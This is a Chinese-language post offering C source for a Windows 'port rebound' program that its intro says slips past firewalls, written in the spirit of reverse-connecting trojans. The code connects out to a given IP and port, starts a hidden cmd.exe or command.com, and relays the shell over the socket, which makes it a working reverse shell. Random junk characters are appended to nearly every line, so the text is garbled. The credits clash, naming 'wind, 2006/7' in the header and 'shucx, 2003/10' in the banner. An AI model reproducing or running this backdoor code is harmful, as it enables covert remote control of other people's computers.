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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 se_Oi$VZ{  
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/* ============================== -ebyW#  
Rebound port in Windows NT j3?@p5E(  
By wind,2006/7 ?|hYtV  
===============================*/ [].euDrX  
#include RbA.&=3  
#include 8X\":l:  
0w2<2grQ  
#pragma comment(lib,"wsock32.lib") H7{kl  
}mk z_P(Z  
void OutputShell(); ( ~>-6Nb 5  
SOCKET sClient; /dR:\ffz2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a8y*Jz-E  
i Hcy,PBD  
void main(int argc,char **argv) 5cr\ JR  
{ 1R.6Xer  
WSADATA stWsaData; @zsqjm  
int nRet; y&F&Z3t  
SOCKADDR_IN stSaiClient,stSaiServer; %x^U3"7  
DnB :~&Dw  
if(argc != 3) ;T!ZO@1X  
{ Z7MGBwP(  
printf("Useage:\n\rRebound DestIP DestPort\n"); sdQ "[`~2R  
return; *APTgXYR  
} SQG9m2  
qHYoQ.ke  
WSAStartup(MAKEWORD(2,2),&stWsaData); oHethk  
) @f6  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hq <!&  
@ w,O1Xwj  
stSaiClient.sin_family = AF_INET; &X}i%etp^2  
stSaiClient.sin_port = htons(0); :u?L y[x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gF|u%_y-qt  
QIcc@PGT9a  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V9D>Xh!0H  
{ ,V+,3TT  
printf("Bind Socket Failed!\n"); j;&su=p"  
return; {9./-  
} /yO0Z1G  
H$3:Ra+ S  
stSaiServer.sin_family = AF_INET; 7Rr +Uzb(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $r(9'm}W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~Y7:08  
J}VG4}L  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]n4G]ybK%  
{ 5mI}IS|@  
printf("Connect Error!"); 5&Le?-/\  
return; >Cglhsb:N  
} Fau24-g  
OutputShell(); MB?762 Q  
} lM%3 ?~?Q&  
KN\tRE  
void OutputShell() T5TA kEVl  
{ +78cQqDY!  
char szBuff[1024]; =?1B|hdo  
SECURITY_ATTRIBUTES stSecurityAttributes; ";w"dfC^  
OSVERSIONINFO stOsversionInfo; (5=B^9{R  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _Qf310oONS  
STARTUPINFO stStartupInfo; Y$eO:67;  
char *szShell; lMb&F[KJ7  
PROCESS_INFORMATION stProcessInformation; -=4:qQEw  
unsigned long lBytesRead; f] kG%JEK  
\hqjk:o  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  bR83N  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \ UiITP<  
stSecurityAttributes.lpSecurityDescriptor = 0; rIAbr5CG  
stSecurityAttributes.bInheritHandle = TRUE; qL!pDZk  
1xb1?/n1#  
X:OUu;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N?mQ50o~C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .arWbTR)~U  
sK|+&BC  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "l-R|>6~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OP\m~1  
stStartupInfo.wShowWindow = SW_HIDE; mq oB]H,  
stStartupInfo.hStdInput = hReadPipe; nW_cjYS%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \2y [Hy?  
LVBE+{P\5?  
GetVersionEx(&stOsversionInfo); ,-5|qko=  
!s[[X5  
switch(stOsversionInfo.dwPlatformId) 8/ PS#dM\  
{ JR4fJG  
case 1: :z%q09.)  
szShell = "command.com"; %1kIaYZ  
break; <2fgao&-n  
default: 7NQEnAl  
szShell = "cmd.exe"; a/lTQj]A  
break; kuo!}QFL  
} 7toDk$jJRg  
eIt<da<G?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7E\k97#G  
2X@"#wIg  
send(sClient,szMsg,77,0); Hie  
while(1) ?!$:I8T  
{ }9 I,p$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o9c?)KQ  
if(lBytesRead) G9r~O#=gy  
{ d&t,^Hj  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Fz@9 @  
send(sClient,szBuff,lBytesRead,0); $3^Cp_p6  
} MW|:'D`  
else DAx 1  
{ |sPUb;&~  
lBytesRead=recv(sClient,szBuff,1024,0); v1\/dQK  
if(lBytesRead<=0) break; C?t!Uvs  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^_G@a,  
} e# z#bz2<  
} r5'bt"K\>  
LHd9q ^D  
return; v8 pOA<s  
}
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